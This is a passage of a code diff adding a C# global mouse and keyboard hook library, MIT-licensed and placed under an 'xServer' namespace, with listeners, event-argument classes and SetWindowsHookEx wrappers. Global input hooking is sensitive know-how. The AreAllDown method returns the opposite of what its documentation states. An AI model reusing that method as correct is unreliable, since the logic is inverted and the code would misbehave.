return MouseEventExtArgs.FromRawDataGlobal(data);
}
}
}

View File

@ -0,0 +1,71 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Collections.Generic;
using System.Windows.Forms;
using xServer.Core.MouseKeyHook.WinApi;
namespace xServer.Core.MouseKeyHook.Implementation
{
internal abstract class KeyListener : BaseListener, IKeyboardEvents
{
protected KeyListener(Subscribe subscribe)
: base(subscribe)
{
}
public event KeyEventHandler KeyDown;
public event KeyPressEventHandler KeyPress;
public event KeyEventHandler KeyUp;
public void InvokeKeyDown(KeyEventArgsExt e)
{
var handler = KeyDown;
if (handler == null || e.Handled || !e.IsKeyDown)
{
return;
}
handler(this, e);
}
public void InvokeKeyPress(KeyPressEventArgsExt e)
{
var handler = KeyPress;
if (handler == null || e.Handled || e.IsNonChar)
{
return;
}
handler(this, e);
}
public void InvokeKeyUp(KeyEventArgsExt e)
{
var handler = KeyUp;
if (handler == null || e.Handled || !e.IsKeyUp)
{
return;
}
handler(this, e);
}
protected override bool Callback(CallbackData data)
{
var eDownUp = GetDownUpEventArgs(data);
var pressEventArgs = GetPressEventArgs(data);
InvokeKeyDown(eDownUp);
foreach (var pressEventArg in pressEventArgs)
{
InvokeKeyPress(pressEventArg);
}
InvokeKeyUp(eDownUp);
return !eDownUp.Handled;
}
protected abstract IEnumerable<KeyPressEventArgsExt> GetPressEventArgs(CallbackData data);
protected abstract KeyEventArgsExt GetDownUpEventArgs(CallbackData data);
}
}

View File

@ -0,0 +1,111 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using xServer.Core.MouseKeyHook.WinApi;
namespace xServer.Core.MouseKeyHook.Implementation
{
/// <summary>
/// Contains a snapshot of a keyboard state at certain moment and provides methods
/// of querying whether specific keys are pressed or locked.
/// </summary>
/// <remarks>
/// This class is basically a managed wrapper of GetKeyboardState API function
/// http://msdn.microsoft.com/en-us/library/ms646299
/// </remarks>
internal class KeyboardState
{
private readonly byte[] m_KeyboardStateNative;
private KeyboardState(byte[] keyboardStateNative)
{
m_KeyboardStateNative = keyboardStateNative;
}
/// <summary>
/// Makes a snapshot of a keyboard state to the moment of call and returns an
/// instance of <see cref="KeyboardState" /> class.
/// </summary>
/// <returns>An instance of <see cref="KeyboardState" /> class representing a snapshot of keyboard state at certain moment.</returns>
public static KeyboardState GetCurrent()
{
byte[] keyboardStateNative = new byte[256];
KeyboardNativeMethods.GetKeyboardState(keyboardStateNative);
return new KeyboardState(keyboardStateNative);
}
internal byte[] GetNativeState()
{
return m_KeyboardStateNative;
}
/// <summary>
/// Indicates whether specified key was down at the moment when snapshot was created or not.
/// </summary>
/// <param name="key">Key (corresponds to the virtual code of the key)</param>
/// <returns><b>true</b> if key was down, <b>false</b> - if key was up.</returns>
public bool IsDown(Keys key)
{
byte keyState = GetKeyState(key);
bool isDown = GetHighBit(keyState);
return isDown;
}
/// <summary>
/// Indicate weather specified key was toggled at the moment when snapshot was created or not.
/// </summary>
/// <param name="key">Key (corresponds to the virtual code of the key)</param>
/// <returns>
/// <b>true</b> if toggle key like (CapsLock, NumLocke, etc.) was on. <b>false</b> if it was off.
/// Ordinal (non toggle) keys return always false.
/// </returns>
public bool IsToggled(Keys key)
{
byte keyState = GetKeyState(key);
bool isToggled = GetLowBit(keyState);
return isToggled;
}
/// <summary>
/// Indicates weather every of specified keys were down at the moment when snapshot was created.
/// The method returns false if even one of them was up.
/// </summary>
/// <param name="keys">Keys to verify whether they were down or not.</param>
/// <returns><b>true</b> - all were down. <b>false</b> - at least one was up.</returns>
public bool AreAllDown(IEnumerable<Keys> keys)
{
foreach (Keys key in keys)
{
if (!IsDown(key))
{
return true;
}
}
return false;
}
private byte GetKeyState(Keys key)
{
int virtualKeyCode = (int) key;
if (virtualKeyCode < 0 || virtualKeyCode > 255)
{
throw new ArgumentOutOfRangeException("key", key, "The value must be between 0 and 255.");
}
return m_KeyboardStateNative[virtualKeyCode];
}
private static bool GetHighBit(byte value)
{
return (value >> 7) != 0;
}
private static bool GetLowBit(byte value)
{
return (value & 1) != 0;
}
}
}

View File

@ -0,0 +1,179 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Windows.Forms;
using xServer.Core.MouseKeyHook.WinApi;
namespace xServer.Core.MouseKeyHook.Implementation
{
internal abstract class MouseListener : BaseListener, IMouseEvents
{
private readonly ButtonSet m_DoubleDown;
private readonly ButtonSet m_SingleDown;
private Point m_PreviousPosition;
protected MouseListener(Subscribe subscribe)
: base(subscribe)
{
m_PreviousPosition = new Point(-1, -1);
m_DoubleDown = new ButtonSet();
m_SingleDown = new ButtonSet();
}
protected override bool Callback(CallbackData data)
{
var e = GetEventArgs(data);
if (e.IsMouseKeyDown)
{
ProcessDown(ref e);
}
if (e.IsMouseKeyUp)
{
ProcessUp(ref e);
}
if (e.WheelScrolled)
{
ProcessWheel(ref e);
}
if (HasMoved(e.Point))
{
ProcessMove(ref e);
}
return !e.Handled;
}
protected abstract MouseEventExtArgs GetEventArgs(CallbackData data);
protected virtual void ProcessWheel(ref MouseEventExtArgs e)
{
OnWheel(e);
}
protected virtual void ProcessDown(ref MouseEventExtArgs e)
{
OnDown(e);
OnDownExt(e);
if (e.Handled)
{
return;
}
if (e.Clicks == 2)
{
m_DoubleDown.Add(e.Button);
}
if (e.Clicks == 1)
{
m_SingleDown.Add(e.Button);
}
}
protected virtual void ProcessUp(ref MouseEventExtArgs e)
{
if (m_SingleDown.Contains(e.Button))
{
OnUp(e);
OnUpExt(e);
if (e.Handled)
{
return;
}
OnClick(e);
m_SingleDown.Remove(e.Button);
}
if (m_DoubleDown.Contains(e.Button))
{
e = e.ToDoubleClickEventArgs();
OnUp(e);
OnDoubleClick(e);
m_DoubleDown.Remove(e.Button);
}
}
private void ProcessMove(ref MouseEventExtArgs e)
{
m_PreviousPosition = e.Point;
OnMove(e);
OnMoveExt(e);
}
private bool HasMoved(Point actualPoint)
{
return m_PreviousPosition != actualPoint;
}
public event MouseEventHandler MouseMove;
public event EventHandler<MouseEventExtArgs> MouseMoveExt;
public event MouseEventHandler MouseClick;
public event MouseEventHandler MouseDown;
public event EventHandler<MouseEventExtArgs> MouseDownExt;
public event MouseEventHandler MouseUp;
public event EventHandler<MouseEventExtArgs> MouseUpExt;
public event MouseEventHandler MouseWheel;
public event MouseEventHandler MouseDoubleClick;
protected virtual void OnMove(MouseEventArgs e)
{
var handler = MouseMove;
if (handler != null) handler(this, e);
}
protected virtual void OnMoveExt(MouseEventExtArgs e)
{
var handler = MouseMoveExt;
if (handler != null) handler(this, e);
}
protected virtual void OnClick(MouseEventArgs e)
{
var handler = MouseClick;
if (handler != null) handler(this, e);
}
protected virtual void OnDown(MouseEventArgs e)
{
var handler = MouseDown;
if (handler != null) handler(this, e);
}
protected virtual void OnDownExt(MouseEventExtArgs e)
{
var handler = MouseDownExt;
if (handler != null) handler(this, e);
}
protected virtual void OnUp(MouseEventArgs e)
{
var handler = MouseUp;
if (handler != null) handler(this, e);
}
protected virtual void OnUpExt(MouseEventExtArgs e)
{
var handler = MouseUpExt;
if (handler != null) handler(this, e);
}
protected virtual void OnWheel(MouseEventArgs e)
{
var handler = MouseWheel;
if (handler != null) handler(this, e);
}
protected virtual void OnDoubleClick(MouseEventArgs e)
{
var handler = MouseDoubleClick;
if (handler != null) handler(this, e);
}
}
}

View File

@ -0,0 +1,10 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using xServer.Core.MouseKeyHook.WinApi;
namespace xServer.Core.MouseKeyHook.Implementation
{
internal delegate HookResult Subscribe(Callback callbck);
}

View File

@ -0,0 +1,128 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using xServer.Core.MouseKeyHook.Implementation;
using xServer.Core.MouseKeyHook.WinApi;
namespace xServer.Core.MouseKeyHook
{
/// <summary>
/// Provides extended argument data for the <see cref='KeyListener.KeyDown' /> or
/// <see cref='KeyListener.KeyUp' /> event.
/// </summary>
public class KeyEventArgsExt : KeyEventArgs
{
/// <summary>
/// Initializes a new instance of the <see cref="KeyEventArgsExt" /> class.
/// </summary>
/// <param name="keyData"></param>
public KeyEventArgsExt(Keys keyData)
: base(keyData)
{
}
internal KeyEventArgsExt(Keys keyData, int timestamp, bool isKeyDown, bool isKeyUp)
: this(keyData)
{
Timestamp = timestamp;
IsKeyDown = isKeyDown;
IsKeyUp = isKeyUp;
}
/// <summary>
/// The system tick count of when the event occurred.
/// </summary>
public int Timestamp { get; private set; }
/// <summary>
/// True if event signals key down..
/// </summary>
public bool IsKeyDown { get; private set; }
/// <summary>
/// True if event signals key up.
/// </summary>
public bool IsKeyUp { get; private set; }
internal static KeyEventArgsExt FromRawDataApp(CallbackData data)
{
var wParam = data.WParam;
var lParam = data.LParam;
//http://msdn.microsoft.com/en-us/library/ms644984(v=VS.85).aspx
const uint maskKeydown = 0x40000000; // for bit 30
const uint maskKeyup = 0x80000000; // for bit 31
int timestamp = Environment.TickCount;
var flags = (uint) lParam.ToInt64();
//bit 30 Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up.
bool wasKeyDown = (flags & maskKeydown) > 0;
//bit 31 Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released.
bool isKeyReleased = (flags & maskKeyup) > 0;
Keys keyData = AppendModifierStates((Keys) wParam);
bool isKeyDown = !wasKeyDown && !isKeyReleased;
bool isKeyUp = wasKeyDown && isKeyReleased;
return new KeyEventArgsExt(keyData, timestamp, isKeyDown, isKeyUp);
}
internal static KeyEventArgsExt FromRawDataGlobal(CallbackData data)
{
var wParam = data.WParam;
var lParam = data.LParam;
var keyboardHookStruct =
(KeyboardHookStruct) Marshal.PtrToStructure(lParam, typeof (KeyboardHookStruct));
var keyData = AppendModifierStates((Keys) keyboardHookStruct.VirtualKeyCode);
var keyCode = (int) wParam;
bool isKeyDown = (keyCode == Messages.WM_KEYDOWN || keyCode == Messages.WM_SYSKEYDOWN);
bool isKeyUp = (keyCode == Messages.WM_KEYUP || keyCode == Messages.WM_SYSKEYUP);
return new KeyEventArgsExt(keyData, keyboardHookStruct.Time, isKeyDown, isKeyUp);
}
// # It is not possible to distinguish Keys.LControlKey and Keys.RControlKey when they are modifiers
// Check for Keys.Control instead
// Same for Shift and Alt(Menu)
// See more at http://www.tech-archive.net/Archive/DotNet/microsoft.public.dotnet.framework.windowsforms/2008-04/msg00127.html #
// A shortcut to make life easier
private static bool CheckModifier(int vKey)
{
return (KeyboardNativeMethods.GetKeyState(vKey) & 0x8000) > 0;
}
private static Keys AppendModifierStates(Keys keyData)
{
// Is Control being held down?
bool control = CheckModifier(KeyboardNativeMethods.VK_CONTROL);
// Is Shift being held down?
bool shift = CheckModifier(KeyboardNativeMethods.VK_SHIFT);
// Is Alt being held down?
bool alt = CheckModifier(KeyboardNativeMethods.VK_MENU);
// Windows keys
// # combine LWin and RWin key with other keys will potentially corrupt the data
// notable F5 | Keys.LWin == F12, see https://globalmousekeyhook.codeplex.com/workitem/1188
// and the KeyEventArgs.KeyData don't recognize combined data either
// Function (Fn) key
// # CANNOT determine state due to conversion inside keyboard
// See http://en.wikipedia.org/wiki/Fn_key#Technical_details #
return keyData |
(control ? Keys.Control : Keys.None) |
(shift ? Keys.Shift : Keys.None) |
(alt ? Keys.Alt : Keys.None);
}
}
}

View File

@ -0,0 +1,119 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using xServer.Core.MouseKeyHook.Implementation;
using xServer.Core.MouseKeyHook.WinApi;
namespace xServer.Core.MouseKeyHook
{
/// <summary>
/// Provides extended data for the <see cref='KeyListener.KeyPress' /> event.
/// </summary>
public class KeyPressEventArgsExt : KeyPressEventArgs
{
internal KeyPressEventArgsExt(char keyChar, int timestamp)
: base(keyChar)
{
IsNonChar = keyChar == (char) 0x0;
Timestamp = timestamp;
}
/// <summary>
/// Initializes a new instance of the <see cref='KeyPressEventArgsExt' /> class.
/// </summary>
/// <param name="keyChar">
/// Character corresponding to the key pressed. 0 char if represents a system or functional non char
/// key.
/// </param>
public KeyPressEventArgsExt(char keyChar)
: this(keyChar, Environment.TickCount)
{
}
/// <summary>
/// True if represents a system or functional non char key.
/// </summary>
public bool IsNonChar { get; private set; }
/// <summary>
/// The system tick count of when the event occurred.
/// </summary>
public int Timestamp { get; private set; }
internal static IEnumerable<KeyPressEventArgsExt> FromRawDataApp(CallbackData data)
{
var wParam = data.WParam;
var lParam = data.LParam;
//http://msdn.microsoft.com/en-us/library/ms644984(v=VS.85).aspx
const uint maskKeydown = 0x40000000; // for bit 30
const uint maskKeyup = 0x80000000; // for bit 31
const uint maskScanCode = 0xff0000; // for bit 23-16
var flags = (uint) lParam.ToInt64();
//bit 30 Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up.
var wasKeyDown = (flags & maskKeydown) > 0;
//bit 31 Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released.
var isKeyReleased = (flags & maskKeyup) > 0;
if (!wasKeyDown && !isKeyReleased)
{
yield break;
}
var virtualKeyCode = (int) wParam;
var scanCode = checked((int) (flags & maskScanCode));
const int fuState = 0;
char[] chars;
KeyboardNativeMethods.TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, out chars);
if (chars == null) yield break;
foreach (var ch in chars)
{
yield return new KeyPressEventArgsExt(ch);
}
}
internal static IEnumerable<KeyPressEventArgsExt> FromRawDataGlobal(CallbackData data)
{
var wParam = data.WParam;
var lParam = data.LParam;
if ((int) wParam != Messages.WM_KEYDOWN)
{
yield break;
}
KeyboardHookStruct keyboardHookStruct =
(KeyboardHookStruct) Marshal.PtrToStructure(lParam, typeof (KeyboardHookStruct));
var virtualKeyCode = keyboardHookStruct.VirtualKeyCode;
var scanCode = keyboardHookStruct.ScanCode;
var fuState = keyboardHookStruct.Flags;
if (virtualKeyCode == KeyboardNativeMethods.VK_PACKET)
{
var ch = (char) scanCode;
yield return new KeyPressEventArgsExt(ch, keyboardHookStruct.Time);
}
else
{
char[] chars;
KeyboardNativeMethods.TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, out chars);
if (chars == null) yield break;
foreach (var current in chars)
{
yield return new KeyPressEventArgsExt(current, keyboardHookStruct.Time);
}
}
}
}
}

View File

@ -0,0 +1,211 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using xServer.Core.MouseKeyHook.WinApi;
namespace xServer.Core.MouseKeyHook
{
/// <summary>
/// Provides extended data for the MouseClickExt and MouseMoveExt events.
/// </summary>
public class MouseEventExtArgs : MouseEventArgs
{
/// <summary>
/// Initializes a new instance of the <see cref="MouseEventExtArgs" /> class.
/// </summary>
/// <param name="buttons">One of the MouseButtons values indicating which mouse button was pressed.</param>
/// <param name="clicks">The number of times a mouse button was pressed.</param>
/// <param name="point">The x and y -coordinate of a mouse click, in pixels.</param>
/// <param name="delta">A signed count of the number of detents the wheel has rotated.</param>
/// <param name="timestamp">The system tick count when the event occurred.</param>
/// <param name="isMouseKeyDown">True if event signals mouse button down.</param>
/// <param name="isMouseKeyUp">True if event signals mouse button up.</param>
internal MouseEventExtArgs(MouseButtons buttons, int clicks, Point point, int delta, int timestamp,
bool isMouseKeyDown, bool isMouseKeyUp)
: base(buttons, clicks, point.X, point.Y, delta)
{
IsMouseKeyDown = isMouseKeyDown;
IsMouseKeyUp = isMouseKeyUp;
Timestamp = timestamp;
}
/// <summary>
/// Set this property to <b>true</b> inside your event handler to prevent further processing of the event in other
/// applications.
/// </summary>
public bool Handled { get; set; }
/// <summary>
/// True if event contains information about wheel scroll.
/// </summary>
public bool WheelScrolled
{
get { return Delta != 0; }
}
/// <summary>
/// True if event signals a click. False if it was only a move or wheel scroll.
/// </summary>
public bool Clicked
{
get { return Clicks > 0; }
}
/// <summary>
/// True if event signals mouse button down.
/// </summary>
public bool IsMouseKeyDown { get; private set; }
/// <summary>
/// True if event signals mouse button up.
/// </summary>
public bool IsMouseKeyUp { get; private set; }
/// <summary>
/// The system tick count of when the event occurred.
/// </summary>
public int Timestamp { get; private set; }
/// <summary>
/// </summary>
internal Point Point
{
get { return new Point(X, Y); }
}
internal static MouseEventExtArgs FromRawDataApp(CallbackData data)
{
var wParam = data.WParam;
var lParam = data.LParam;
AppMouseStruct marshalledMouseStruct =
(AppMouseStruct) Marshal.PtrToStructure(lParam, typeof (AppMouseStruct));
return FromRawDataUniversal(wParam, marshalledMouseStruct.ToMouseStruct());
}
internal static MouseEventExtArgs FromRawDataGlobal(CallbackData data)
{
var wParam = data.WParam;
var lParam = data.LParam;
MouseStruct marshalledMouseStruct = (MouseStruct) Marshal.PtrToStructure(lParam, typeof (MouseStruct));
return FromRawDataUniversal(wParam, marshalledMouseStruct);
}
/// <summary>
/// Creates <see cref="MouseEventExtArgs" /> from relevant mouse data.
/// </summary>
/// <param name="wParam">First Windows Message parameter.</param>
/// <param name="mouseInfo">A MouseStruct containing information from which to construct MouseEventExtArgs.</param>
/// <returns>A new MouseEventExtArgs object.</returns>
private static MouseEventExtArgs FromRawDataUniversal(IntPtr wParam, MouseStruct mouseInfo)
{
MouseButtons button = MouseButtons.None;
short mouseDelta = 0;
int clickCount = 0;
bool isMouseKeyDown = false;
bool isMouseKeyUp = false;
switch ((long) wParam)
{
case Messages.WM_LBUTTONDOWN:
isMouseKeyDown = true;
button = MouseButtons.Left;
clickCount = 1;
break;
case Messages.WM_LBUTTONUP:
isMouseKeyUp = true;
button = MouseButtons.Left;
clickCount = 1;
break;
case Messages.WM_LBUTTONDBLCLK:
isMouseKeyDown = true;
button = MouseButtons.Left;
clickCount = 2;
break;
case Messages.WM_RBUTTONDOWN:
isMouseKeyDown = true;
button = MouseButtons.Right;
clickCount = 1;
break;
case Messages.WM_RBUTTONUP:
isMouseKeyUp = true;
button = MouseButtons.Right;
clickCount = 1;
break;
case Messages.WM_RBUTTONDBLCLK:
isMouseKeyDown = true;
button = MouseButtons.Right;
clickCount = 2;
break;
case Messages.WM_MBUTTONDOWN:
isMouseKeyDown = true;
button = MouseButtons.Middle;
clickCount = 1;
break;
case Messages.WM_MBUTTONUP:
isMouseKeyUp = true;
button = MouseButtons.Middle;
clickCount = 1;
break;
case Messages.WM_MBUTTONDBLCLK:
isMouseKeyDown = true;
button = MouseButtons.Middle;
clickCount = 2;
break;
case Messages.WM_MOUSEWHEEL:
mouseDelta = mouseInfo.MouseData;
break;
case Messages.WM_XBUTTONDOWN:
button = mouseInfo.MouseData == 1
? MouseButtons.XButton1
: MouseButtons.XButton2;
isMouseKeyDown = true;
clickCount = 1;
break;
case Messages.WM_XBUTTONUP:
button = mouseInfo.MouseData == 1
? MouseButtons.XButton1
: MouseButtons.XButton2;
isMouseKeyUp = true;
clickCount = 1;
break;
case Messages.WM_XBUTTONDBLCLK:
isMouseKeyDown = true;
button = mouseInfo.MouseData == 1
? MouseButtons.XButton1
: MouseButtons.XButton2;
clickCount = 2;
break;
case Messages.WM_MOUSEHWHEEL:
mouseDelta = mouseInfo.MouseData;
break;
}
var e = new MouseEventExtArgs(
button,
clickCount,
mouseInfo.Point,
mouseDelta,
mouseInfo.Timestamp,
isMouseKeyDown,
isMouseKeyUp);
return e;
}
internal MouseEventExtArgs ToDoubleClickEventArgs()
{
return new MouseEventExtArgs(Button, 2, Point, Delta, Timestamp, IsMouseKeyDown, IsMouseKeyUp);
}
}
}

View File

@ -0,0 +1,70 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
namespace xServer.Core.MouseKeyHook.WinApi
{
/// <summary>
/// The AppMouseStruct structure contains information about a application-level mouse input event.
/// </summary>
/// <remarks>
/// See full documentation at http://globalmousekeyhook.codeplex.com/wikipage?title=MouseStruct
/// </remarks>
[StructLayout(LayoutKind.Explicit)]
internal struct AppMouseStruct
{
/// <summary>
/// Specifies a Point structure that contains the X- and Y-coordinates of the cursor, in screen coordinates.
/// </summary>
[FieldOffset(0x00)] public Point Point;
/// <summary>
/// Specifies information associated with the message.
/// </summary>
/// <remarks>
/// The possible values are:
/// <list type="bullet">
/// <item>
/// <description>0 - No Information</description>
/// </item>
/// <item>
/// <description>1 - X-Button1 Click</description>
/// </item>
/// <item>
/// <description>2 - X-Button2 Click</description>
/// </item>
/// <item>
/// <description>120 - Mouse Scroll Away from User</description>
/// </item>
/// <item>
/// <description>-120 - Mouse Scroll Toward User</description>
/// </item>
/// </list>
/// </remarks>
#if IS_X64
[FieldOffset(0x22)]
#else
[FieldOffset(0x16)]
#endif
public Int16 MouseData;
/// <summary>
/// Converts the current <see cref="AppMouseStruct" /> into a <see cref="MouseStruct" />.
/// </summary>
/// <returns></returns>
/// <remarks>
/// The AppMouseStruct does not have a timestamp, thus one is generated at the time of this call.
/// </remarks>
public MouseStruct ToMouseStruct()
{
MouseStruct tmp = new MouseStruct();
tmp.Point = Point;
tmp.MouseData = MouseData;
tmp.Timestamp = Environment.TickCount;
return tmp;
}
}
}

View File

@ -0,0 +1,30 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
namespace xServer.Core.MouseKeyHook.WinApi
{
internal struct CallbackData
{
private readonly IntPtr m_LParam;
private readonly IntPtr m_WParam;
public CallbackData(IntPtr wParam, IntPtr lParam)
{
m_WParam = wParam;
m_LParam = lParam;
}
public IntPtr WParam
{
get { return m_WParam; }
}
public IntPtr LParam
{
get { return m_LParam; }
}
}
}

View File

@ -0,0 +1,101 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using xServer.Core.MouseKeyHook.Implementation;
namespace xServer.Core.MouseKeyHook.WinApi
{
internal static class HookHelper
{
public static HookResult HookAppMouse(Callback callback)
{
return HookApp(HookIds.WH_MOUSE, callback);
}
public static HookResult HookAppKeyboard(Callback callback)
{
return HookApp(HookIds.WH_KEYBOARD, callback);
}
public static HookResult HookGlobalMouse(Callback callback)
{
return HookGlobal(HookIds.WH_MOUSE_LL, callback);
}
public static HookResult HookGlobalKeyboard(Callback callback)
{
return HookGlobal(HookIds.WH_KEYBOARD_LL, callback);
}
private static HookResult HookApp(int hookId, Callback callback)
{
HookProcedure hookProcedure = (code, param, lParam) => HookProcedure(code, param, lParam, callback);
var hookHandle = HookNativeMethods.SetWindowsHookEx(
hookId,
hookProcedure,
IntPtr.Zero,
ThreadNativeMethods.GetCurrentThreadId());
if (hookHandle.IsInvalid)
{
ThrowLastUnmanagedErrorAsException();
}
return new HookResult(hookHandle, hookProcedure);
}
private static HookResult HookGlobal(int hookId, Callback callback)
{
HookProcedure hookProcedure = (code, param, lParam) => HookProcedure(code, param, lParam, callback);
var hookHandle = HookNativeMethods.SetWindowsHookEx(
hookId,
hookProcedure,
Process.GetCurrentProcess().MainModule.BaseAddress,
0);
if (hookHandle.IsInvalid)
{
ThrowLastUnmanagedErrorAsException();
}
return new HookResult(hookHandle, hookProcedure);
}
private static IntPtr HookProcedure(int nCode, IntPtr wParam, IntPtr lParam, Callback callback)
{
var passThrough = nCode != 0;
if (passThrough)
{
return CallNextHookEx(nCode, wParam, lParam);
}
var callbackData = new CallbackData(wParam, lParam);
var continueProcessing = callback(callbackData);
if (!continueProcessing)
{
return new IntPtr(-1);
}
return CallNextHookEx(nCode, wParam, lParam);
}
private static IntPtr CallNextHookEx(int nCode, IntPtr wParam, IntPtr lParam)
{
return HookNativeMethods.CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
}
private static void ThrowLastUnmanagedErrorAsException()
{
var errorCode = Marshal.GetLastWin32Error();
throw new Win32Exception(errorCode);
}
}
}

View File

@ -0,0 +1,30 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
namespace xServer.Core.MouseKeyHook.WinApi
{
internal static class HookIds
{
/// <summary>
/// Installs a hook procedure that monitors mouse messages. For more information, see the MouseProc hook procedure.
/// </summary>
internal const int WH_MOUSE = 7;
/// <summary>
/// Installs a hook procedure that monitors keystroke messages. For more information, see the KeyboardProc hook
/// procedure.
/// </summary>
internal const int WH_KEYBOARD = 2;
/// <summary>
/// Windows NT/2000/XP/Vista/7: Installs a hook procedure that monitors low-level mouse input events.
/// </summary>
internal const int WH_MOUSE_LL = 14;
/// <summary>
/// Windows NT/2000/XP/Vista/7: Installs a hook procedure that monitors low-level keyboard input events.
/// </summary>
internal const int WH_KEYBOARD_LL = 13;
}
}

View File

@ -0,0 +1,89 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
namespace xServer.Core.MouseKeyHook.WinApi
{
internal static class HookNativeMethods
{
/// <summary>
/// The CallNextHookEx function passes the hook information to the next hook procedure in the current hook chain.
/// A hook procedure can call this function either before or after processing the hook information.
/// </summary>
/// <param name="idHook">This parameter is ignored.</param>
/// <param name="nCode">[in] Specifies the hook code passed to the current hook procedure.</param>
/// <param name="wParam">[in] Specifies the wParam value passed to the current hook procedure.</param>
/// <param name="lParam">[in] Specifies the lParam value passed to the current hook procedure.</param>
/// <returns>This value is returned by the next hook procedure in the chain.</returns>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp
/// </remarks>
[DllImport("user32.dll", CharSet = CharSet.Auto,
CallingConvention = CallingConvention.StdCall)]
internal static extern IntPtr CallNextHookEx(
IntPtr idHook,
int nCode,
IntPtr wParam,
IntPtr lParam);
/// <summary>
/// The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain.
/// You would install a hook procedure to monitor the system for certain types of events. These events
/// are associated either with a specific thread or with all threads in the same desktop as the calling thread.
/// </summary>
/// <param name="idHook">
/// [in] Specifies the type of hook procedure to be installed. This parameter can be one of the following values.
/// </param>
/// <param name="lpfn">
/// [in] Pointer to the hook procedure. If the dwThreadId parameter is zero or specifies the identifier of a
/// thread created by a different process, the lpfn parameter must point to a hook procedure in a dynamic-link
/// library (DLL). Otherwise, lpfn can point to a hook procedure in the code associated with the current process.
/// </param>
/// <param name="hMod">
/// [in] Handle to the DLL containing the hook procedure pointed to by the lpfn parameter.
/// The hMod parameter must be set to NULL if the dwThreadId parameter specifies a thread created by
/// the current process and if the hook procedure is within the code associated with the current process.
/// </param>
/// <param name="dwThreadId">
/// [in] Specifies the identifier of the thread with which the hook procedure is to be associated.
/// If this parameter is zero, the hook procedure is associated with all existing threads running in the
/// same desktop as the calling thread.
/// </param>
/// <returns>
/// If the function succeeds, the return value is the handle to the hook procedure.
/// If the function fails, the return value is NULL. To get extended error information, call GetLastError.
/// </returns>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp
/// </remarks>
[DllImport("user32.dll", CharSet = CharSet.Auto,
CallingConvention = CallingConvention.StdCall, SetLastError = true)]
internal static extern HookProcedureHandle SetWindowsHookEx(
int idHook,
HookProcedure lpfn,
IntPtr hMod,
int dwThreadId);
/// <summary>
/// The UnhookWindowsHookEx function removes a hook procedure installed in a hook chain by the SetWindowsHookEx
/// function.
/// </summary>
/// <param name="idHook">
/// [in] Handle to the hook to be removed. This parameter is a hook handle obtained by a previous call to
/// SetWindowsHookEx.
/// </param>
/// <returns>
/// If the function succeeds, the return value is nonzero.
/// If the function fails, the return value is zero. To get extended error information, call GetLastError.
/// </returns>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp
/// </remarks>
[DllImport("user32.dll", CharSet = CharSet.Auto,
CallingConvention = CallingConvention.StdCall, SetLastError = true)]
internal static extern int UnhookWindowsHookEx(IntPtr idHook);
}
}

View File

@ -0,0 +1,40 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
namespace xServer.Core.MouseKeyHook.WinApi
{
/// <summary>
/// The CallWndProc hook procedure is an application-defined or library-defined callback
/// function used with the SetWindowsHookEx function. The HOOKPROC type defines a pointer
/// to this callback function. CallWndProc is a placeholder for the application-defined
/// or library-defined function name.
/// </summary>
/// <param name="nCode">
/// [in] Specifies whether the hook procedure must process the message.
/// If nCode is HC_ACTION, the hook procedure must process the message.
/// If nCode is less than zero, the hook procedure must pass the message to the
/// CallNextHookEx function without further processing and must return the
/// value returned by CallNextHookEx.
/// </param>
/// <param name="wParam">
/// [in] Specifies whether the message was sent by the current thread.
/// If the message was sent by the current thread, it is nonzero; otherwise, it is zero.
/// </param>
/// <param name="lParam">
/// [in] Pointer to a CWPSTRUCT structure that contains details about the message.
/// </param>
/// <returns>
